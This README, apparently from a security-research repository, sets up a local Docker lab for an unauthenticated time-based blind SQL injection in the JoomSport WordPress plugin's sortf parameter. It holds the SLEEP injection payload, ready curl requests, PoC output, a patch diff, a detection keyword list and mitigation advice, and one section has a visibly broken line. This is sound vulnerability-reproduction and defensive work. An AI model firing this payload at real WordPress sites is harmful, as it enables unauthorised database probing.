rootdirective-sec/CVE-2026-42647-Lab

GitHub: rootdirective-sec/CVE-2026-42647-Lab

该项目提供了一个基于 Docker 的本地实验环境,用于复现和对比验证 WordPress JoomSport 插件中由 sortf 参数引发的未授权时间盲注 SQL 注入漏洞。

Stars: 0 | Forks: 0

# CVE-2026-42647 - 通过 `sortf` 触发的 JoomSport 未授权时间盲注 SQL 注入 ## 执行摘要 本仓库包含一个本地 Docker 实验环境,用于复现和验证 CVE-2026-42647,这是一个影响 WordPress 插件 JoomSport - for Sports: Team & League, Football, Hockey & more 的未授权 SQL 注入漏洞。 该漏洞行为发生在球员列表排序功能中。公共访问者可以控制 `sortf` 查询参数,该参数用于构建 SQL 的 `ORDER BY` 子句。在受影响的版本中,该值被作为文本进行清理并包裹在反引号中,但在将其附加到 SQL 查询之前,并未根据严格的允许列表进行验证。 本实验对比了两个 JoomSport 版本: | 服务 | JoomSport 版本 | 目的 | URL | | --------- | ----------------: | ---------------------------- | ----------------------- | | `vuln` | 5.7.6 | 受影响对比目标 | `http://localhost:8081` | | `patched` | 5.7.8 | 已修复对比目标 | `http://localhost:8082` | 公开的安全公告指出 5.7.8 之前的版本受到影响,而 5.7.8 是修复版本。本实验使用 5.7.6 作为受影响目标,因为在准备本实验时,WordPress.org 插件 SVN 标签列表中没有提供 5.7.7 的源代码标签。 所演示的漏洞利用链如下: ``` Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field ``` 本实验将该漏洞验证为时间盲注 SQL 注入。它不会执行数据库转储、凭据提取、数据修改或破坏性的 SQL 操作。 本实验仅设计用于受控的本地研究、源码级理解和作品集演示。 ## 已验证事实 | 断言 | 证据 | 如何在本实验中验证 | | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | | 据报告,5.7.8 之前的 JoomSport 存在未授权 SQL 注入漏洞。 | 公开的安全公告指出 JoomSport `< 5.7.8` / `<= 5.7.7` 受到影响。 | 查看参考章节并对比受影响/已修复的服务。 | | JoomSport 5.7.8 是修复版本。 | 公开的安全公告和源码对比表明,5.7.8 在构建排序表达式之前会对 `sortf` 的值进行验证。 | 检查两个版本中的 `class-jsport-playerlist.php`。 | | 受影响的参数是 `sortf`。 | 存在漏洞的球员列表代码会读取 `classJsportRequest::get('sortf')`。 | 运行 PoC 并观察包含注入的 `sortf` 请求。 | | 存在漏洞的代码会根据用户输入构建动态 SQL 排序值。 | 在受影响的版本中,`sortf` 用于构建 `$options['ordering']`。 | 检查 `sportleague/classes/objects/class-jsport-playerlist.php`。 | | SQL 的接收点是 `ORDER BY` 子句。 | 生成的 `$ordering` 值随后会通过 `ORDER BY` 附加到 SQL 查询中。 | 检查 `sportleague/base/wordpress/classes/class-jsport-getplayers.php`。 | | 补丁采用了基于允许列表的修复方式。 | 修复后的版本在使用排序字段之前,引入了允许的静态列和预期的动态字段模式。 | 对比 JoomSport 5.7.6 和 5.7.8 的源代码。 | | 本实验演示了时间盲注 SQL 注入。 | 当使用注入的 `SLEEP()` 表达式时,受影响的目标会发生延迟;而修复后的目标则不会。 | 运行 `python3 poc/poc.py http://localhost:8081 http://localhost:8082`。 | ## 假设与未知事项 本实验使用 JoomSport 5.7.6 作为受影响的对比目标,因为公开的修复版本是 5.7.8,且在准备本实验时,WordPress.org 插件 SVN 标签列表中没有提供 5.7.7 的源代码标签。 本实验并不声称 5.7.6 是唯一受影响的版本。它被用作可复现的受影响基准,用于将受影响的行为与修复后的 5.7.8 行为进行对比。 本实验侧重于球员列表排序流程中的 `sortf` 参数。 所演示的影响是时间盲注 SQL 注入。本实验未演示: * 直接的数据库转储, * 凭据提取, * 身份验证绕过, * 权限提升, * 任意数据修改, * 远程代码执行, * 持久化, * 外部回调, * 或针对非实验环境的系统的攻击。 根据数据库行为、应用程序配置和响应差异,基于错误或基于布尔的攻击行为可能是可行的,但本实验不依赖这些技术。主要的证明是基于时间延迟的。 ## 根本原因总结 根本原因是从 `sortf` 请求参数不安全地构建了动态 SQL `ORDER BY` 子句。 存在漏洞的代码路径始于: ``` sportleague/classes/objects/class-jsport-playerlist.php ``` 在球员列表加载逻辑内部,JoomSport 读取请求参数: ``` sortf ``` 并用它来构建: ``` $options['ordering'] ``` 相关的漏洞源码模式是: ``` if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD; } ``` 问题主要不在于 `sortd` 参数。`sortd` 的值被限制为: ``` ASC DESC ``` 问题在于 `sortf` 参数,因为它控制了用于排序的 SQL 标识符/表达式位置。 危险的表达式是: ``` "`".classJsportRequest::get('sortf')."`" ``` 代码将攻击者控制的输入放置在 MySQL 标识符上下文中,然后将其作为 SQL 排序片段向前传递。 代码应用了: ``` sanitize_text_field() ``` 但 `sanitize_text_field()` 并不是 SQL 标识符验证。它的设计初衷是清理文本,而不是为了安全地构建 SQL 语法。 存在漏洞的代码还将用户控制的排序字段包裹在反引号中。然而,当攻击者能够影响标识符内容时,反引号并不是安全边界。如果攻击者能够在值中注入反引号,他们就可以脱离预期的标识符上下文。 生成的排序值随后被传递到球员检索查询中,并被附加到 SQL 的 `ORDER BY` 子句中,位置在: ``` sportleague/base/wordpress/classes/class-jsport-getplayers.php ``` 接收点模式为: ``` $query .= ' ORDER BY '.($ordering); ``` 这创建了存在漏洞的数据流: ``` sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY ``` 安全问题在于,应用程序将用户控制的请求参数视为 SQL 标识符/表达式,而事先并未根据严格的允许列表对其进行验证。 ## 源码补丁总结 相关的补丁位于: ``` sportleague/classes/objects/class-jsport-playerlist.php ``` 在受影响的版本中,球员列表代码直接根据请求值构建 `$options['ordering']`: ``` if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD; } ``` 存在漏洞的部分是 `classJsportRequest::get('sortf')` 被用在了 SQL 排序表达式内部。 JoomSport 5.7.8 通过在构建 `$options['ordering']` 之前引入经过验证的排序字段变量改变了这种行为。 修复后的版本初始化了一个安全的默认值: ``` $sortFieldEsc = 'post_title'; ``` 然后它定义了允许的静态排序列: ``` $sortCols = array("played", "career_minutes", "post_title"); ``` 当存在 `sortf` 时,修复后的代码仅在其匹配预期的静态值之一时才接受它: ``` if (in_array(classJsportRequest::get('sortf'), $sortCols)) { $sortFieldEsc = classJsportRequest::get('sortf'); } ``` 该补丁还允许预期的动态事件/统计字段格式: ``` if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); } if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); } ``` 最终与安全相关的更改是,`$options['ordering']` 是根据 `$sortFieldEsc` 构建的,而不是原始的 `sortf` 请求值: ``` - $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD; + $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD; ``` 这并没有移除动态排序功能,而是改变了信任边界。 打补丁之前: ``` request sortf value directly controlled the ORDER BY identifier ``` 打补丁之后: ``` request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern ``` 如果攻击者发送了一个预期之外的值,例如: ``` post_title`DESC,(SLEEP(2))# ``` 修复后的代码不会将该值赋给 `$sortFieldEsc`。 相反,排序字段会回退到: ``` post_title ``` 这就是为什么受影响的服务会发生延迟,而修复后的服务会保持在接近基准时间的原因。 从补丁中得出的安全教训是: ``` Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety. ``` ## 实验架构 本实验通过 Docker Compose 运行两个隔离的 WordPress 安装。 ``` . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── scripts/ │ └── init-wordpress.sh ├── poc/ │ └── poc.py ├── README.md └── .gitignore ``` 这两个 WordPress 服务运行各自独立的数据库和不同版本的插件: | 服务 | 组件 | 版本 / 角色 | | --------------- | --------------------- | ---------------------------------------------- | | `vuln` | WordPress + JoomSport | JoomSport 5.7.6 | | `patched` | WordPress + JoomSport | JoomSport 5.7.8 | | `db-vuln` | MariaDB | 受影响目标的数据库 | | `db-patched` | MariaDB | 修复后目标的数据库 | | `setup-vuln` | WP-CLI 初始化服务 | 安装 WordPress 并为受影响目标植入数据 | | `setup-patched` | WP-CLI 初始化服务 | 安装 WordPress 并为修复后目标植入数据 | 默认暴露的服务: ``` Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082 ``` 设置过程会创建渲染球员列表路由所需的最少 JoomSport 数据: ``` joomsport_season joomsport_team joomsport_player wp_joomsport_playerlist rows ``` 受影响和修复后的服务使用相同的实验数据结构,以便可以公平地对比时间行为。 ## 环境要求 * Docker Desktop 或 Docker Engine * Docker Compose v2 * Python 3 * 宿主机运行 PoC 所需的 Python `requests` 包 * 构建 Docker 镜像期间需要互联网访问权限以下载 WordPress/JoomSport 依赖 如有需要,在宿主机上安装 Python 依赖: ``` python3 -m pip install requests ``` ## 快速开始 启动实验环境: ``` docker compose down -v --remove-orphans docker compose up -d --build ``` 查看设置容器的日志: ``` docker compose logs -f setup-vuln setup-patched ``` 预期的设置完成消息: ``` [VULN] setup complete [PATCHED] setup complete ``` 检查容器状态: ``` docker compose ps ``` 预期的暴露服务: ``` http://localhost:8081 http://localhost:8082 ``` 针对受影响目标运行 PoC: ``` python3 poc/poc.py http://localhost:8081 ``` 针对修复后目标运行 PoC: ``` python3 poc/poc.py http://localhost:8082 ``` 通过一条命令针对两个目标运行 PoC: ``` python3 poc/poc.py http://localhost:8081 http://localhost:8082 ``` 为了获得更稳定的时间统计数据,请增加轮次: ``` python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 ``` 你还可以调整请求的睡眠时间: ``` python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5 ``` ## PoC 用法 PoC 会独立检查每个目标。 它不再需要单独的 `--vuln-url` 或 `--patched-url` 选项。相反,将一个或多个目标 URL 作为位置参数传递: ``` python3 poc/poc.py [target_url...] ``` 示例: ``` python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082 ``` 如果没有提供目标 URL,脚本将以交互方式提示输入一个或多个本地目标 URL。 支持的选项: ``` --season-id Seeded JoomSport season post ID. Default: 4 --rounds Number of requests per baseline/injected series. Default: 3 --sleep SLEEP() seconds used in the timing payload. Default: 2 ``` PoC 被特意限制在本地范围内。它接受 localhost 样式的目标,例如: ``` http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082 ``` 默认情况下,PoC 会拒绝非本地目标。 ## PoC 的判定方式 对于每个目标,PoC 会执行两个时间序列: ``` [1/2] Baseline timing [2/2] Injected timing ``` 基准请求使用普通的排序字段: ``` sortf=post_title ``` 注入请求在 `sortf` 参数中使用仅在本地生效的时间延迟 payload: ``` sortf=post_title`DESC,(SLEEP(2))# ``` PoC 计算: ``` delta = injected median - baseline median ``` 然后它对目标进行分类: | 结论 | 含义 | | ----------------- | ----------------------------------------------------------- | | `VULNERABLE-LIKE` | 注入请求明显比基准请求慢。 | | `PATCHED-LIKE` | 注入请求保持接近基准时间。 | | `UNREACHABLE` | 无法连接到目标。 | | `INCONCLUSIVE` | 一些时间数据缺失或不完整。 | 默认判定规则: ``` injected median - baseline median >= 60% of requested SLEEP() ``` 对于默认的 `--sleep 2`,阈值为: ``` 1.200s median delta ``` 这意味着只有当注入请求明显慢于其自身的基准请求时,目标才会被报告为 `VULNERABLE-LIKE`。 无法连接或结论不明确的目标不会被计为已修复。 ## 使用 curl 手动复现 HTTP 请求 你可以在不使用 Python PoC 的情况下手动复现该验证。 受影响的基准请求: ``` curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \ 'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC' ``` 受影响的注入请求: ``` curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \ 'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC' ``` 修复后的基准请求: ``` curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \ 'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC' ``` 修复后的注入请求: ``` curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \ 'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC' ``` 预期对比: ``` JoomSport 5.7.6 vulnerable -> injected request is significantly slower JoomSport 5.7.8 patched -> injected request stays near baseline timing ``` ## 预期输出 ### 受影响目标 命令: ``` python3 poc/poc.py http://localhost:8081 ``` 预期的受影响信号: ``` CVE-2026-42647 JoomSport local timing validation Scope : localhost / Docker lab only Technique : time-based blind SQL injection check in ORDER BY via sortf Logic : baseline timing vs injected timing per target Targets : 1 Rounds per series : 3 Requested SLEEP() : 2s Decision threshold: 1.200s median delta ================================================================================================ Target: http://localhost:8081/ ================================================================================================ Season post ID : 4 Baseline sortf : post_title Injected sortf : post_title`DESC,(SLEEP(2))# [1/2] Baseline timing run 01: status=200 time=0.092s bytes=75333 run 02: status=200 time=0.044s bytes=75333 run 03: status=200 time=0.046s bytes=75333 summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s summary status=200x3 bytes=75333 [2/2] Injected timing run 01: status=200 time=6.050s bytes=75321 run 02: status=200 time=6.058s bytes=75321 run 03: status=200 time=6.095s bytes=75321 summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s summary status=200x3 bytes=75321 Target decision ------------------------------------------------------------------------------------------------ Baseline median : 0.046s Injected median : 6.058s Delta : 6.011s Ratio : 130.8x Threshold : 1.200s Verdict : VULNERABLE-LIKE Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection. ``` 最终的受影响摘要: ``` Final summary ================================================================================================ Target Base med Inj med Delta Ratio Verdict ------------------------------------------------------------------------------------------------ http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE ------------------------------------------------------------------------------------------------ VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0 RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used. ``` ### 修复后目标 命令: ``` python3 poc/poc.py http://localhost:8082 ``` 预期的修复信号: ``` Target decision ------------------------------------------------------------------------------------------------ Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior. ``` ### 多个目标 命令: ``` python3 poc/poc.py http://localhost:8081 http://localhost:8082 ``` 预期结果: ``` VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0 RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used. ``` ### 无法连接的目标 如果目标未运行,PoC 应报告 `UNREACHABLE`,而不是 `PATCHED-LIKE`。 示例: ``` python3 poc/poc.py http://localhost:8083 ``` 预期结论: ``` Verdict : UNREACHABLE Interpretation : the target could not be reached. No vulnerability decision was made for this target. ``` 无法连接的目标不会被计为已修复。 ## PoC 工作原理 PoC 会针对已植入数据的赛季文章探测 JoomSport 球员列表路由。 目标路由等同于: ``` GET /?post_type=joomsport_season&p=&action=playerlist&sortf=&sortd=ASC ``` 基准请求使用: ``` sortf=post_title ``` 这应该会产生正常的球员列表排序。 注入请求使用: &action=playerlist&sortf=&sortd=ASC ``` 可疑的 `sortf` 特征: ``` backticks parentheses commas SQL comments SLEEP IF CASE BENCHMARK unexpected function-like strings ``` 本地实验请求示例: ``` sortf=post_title`DESC,(SLEEP(2))# ``` 预期的受影响信号: ``` HTTP 200 response with significant timing delay ``` 预期的修复信号: ``` HTTP 200 response without significant timing delay ``` 潜在的生产环境监控建议: * 检查 Web 访问日志中是否存在异常的 `sortf` 值。 * 对排序参数中的 SQL 关键字或注释标记进行告警。 * 监控针对 JoomSport 球员列表路由的、带有微小参数变化的重复请求。 * 监控涉及 JoomSport 球员列表表的缓慢数据库查询。 * 将缓慢的请求与公共的未授权流量相关联。 * 检查是否安装了 JoomSport 以及其版本是否低于 5.7.8。 ## 缓解措施与补丁说明 将 JoomSport 升级到 5.7.8 或更高版本。 修复后的版本将 `sortf` 参数限制为预期的排序字段和动态字段模式。意外的值会回退到安全的默认排序字段。 应用层面的缓解指导: * 升级 JoomSport 插件。 * 不要在公共 WordPress 网站上暴露过时的插件版本。 * 检查 Web 日志中是否存在可疑的 `sortf` 参数。 * 如果无法立即升级,仅将禁用或限制受影响的功能作为临时缓解措施。 * 使用 Web 应用防火墙(WAF)规则作为临时防护层,而不是替代打补丁。 * 将动态 SQL 标识符与普通值区别对待:对列名、表名、排序方向及类似的 SQL 语法组件使用允许列表。 最重要的控制手段是允许列表。对于动态 SQL 标识符来说,单纯的转义并不是一个彻底的修复方案。 ## 实用的验证命令 检查正在运行的容器: ``` docker compose ps ``` 查看设置日志: ``` docker compose logs -f setup-vuln setup-patched ``` 检查 WordPress 服务: ``` curl -I http://localhost:8081 curl -I http://localhost:8082 ``` 针对受影响的服务运行 PoC: ``` python3 poc/poc.py http://localhost:8081 ``` 针对修复后的服务运行 PoC: ``` python3 poc/poc.py http://localhost:8082 ``` 针对两个服务运行 PoC: ``` python3 poc/poc.py http://localhost:8081 http://localhost:8082 ``` 以更多轮次运行 PoC: ``` python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 ``` 保存证据: ``` mkdir -p evidence python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \ | tee evidence/timing-validation.txt docker compose ps \ | tee evidence/docker-compose-ps.txt docker compose logs vuln patched setup-vuln setup-patched \ > evidence/docker-compose-logs.txt ``` 检查 WordPress 内部的插件版本: ``` docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html ``` 检查受影响的源码: ``` docker compose exec -T vuln sh -lc \ "grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php" ``` 检查修复后的源码: ``` docker compose exec -T patched sh -lc \ "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php" ``` 检查 SQL 接收点: ``` docker compose exec -T vuln sh -lc \ "grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php" ``` ## 清理 停止并移除容器和网络: ``` docker compose down --remove-orphans ``` 移除容器、网络和卷: ``` docker compose down -v --remove-orphans ``` 移除生成的证据文件(如果有): ``` rm -rf evidence/ ``` ## 安全边界 本实验仅用于本地安全研究和受控演示。 请勿对你不拥有或未获得明确测试许可的系统运行 PoC 或 payload。 请勿在本实验中使用真实的凭据、生产环境的机密或外部目标。 PoC 被特意限定在本地 Docker 服务范围内,例如: ``` http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082 ``` PoC 不包含用于数据库转储、凭据窃取、数据修改、持久化、横向移动或外部回调的 payload。 目标是在受控环境中演示一种特定的技术状态: ``` unauthenticated request + player list route + attacker-controlled sortf + vulnerable ORDER BY construction + timing delay in vulnerable version + no timing delay in patched version ``` ## 参考 * Wordfence 安全公告: JoomSport <= 5.7.7 - Unauthenticated SQL Injection via `sortf` Parameter https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter * Wordfence 安全公告: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Unauthenticated SQL Injection https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection * WPScan 插件漏洞数据库: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/ * WordPress.org 插件: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/ * WordPress.org 插件 SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/ * WordPress.org 插件 SVN 标签 https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/ * OWASP Web 安全测试指南: Testing for SQL Injection https://owasp.org/www-project-web-security-testing-guide/ * OWASP 速查表系列: SQL Injection Prevention https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
标签:CISA项目, Docker靶场, WordPress插件, 文件完整性监控, 漏洞复现, 版权保护, 请求拦截, 逆向工具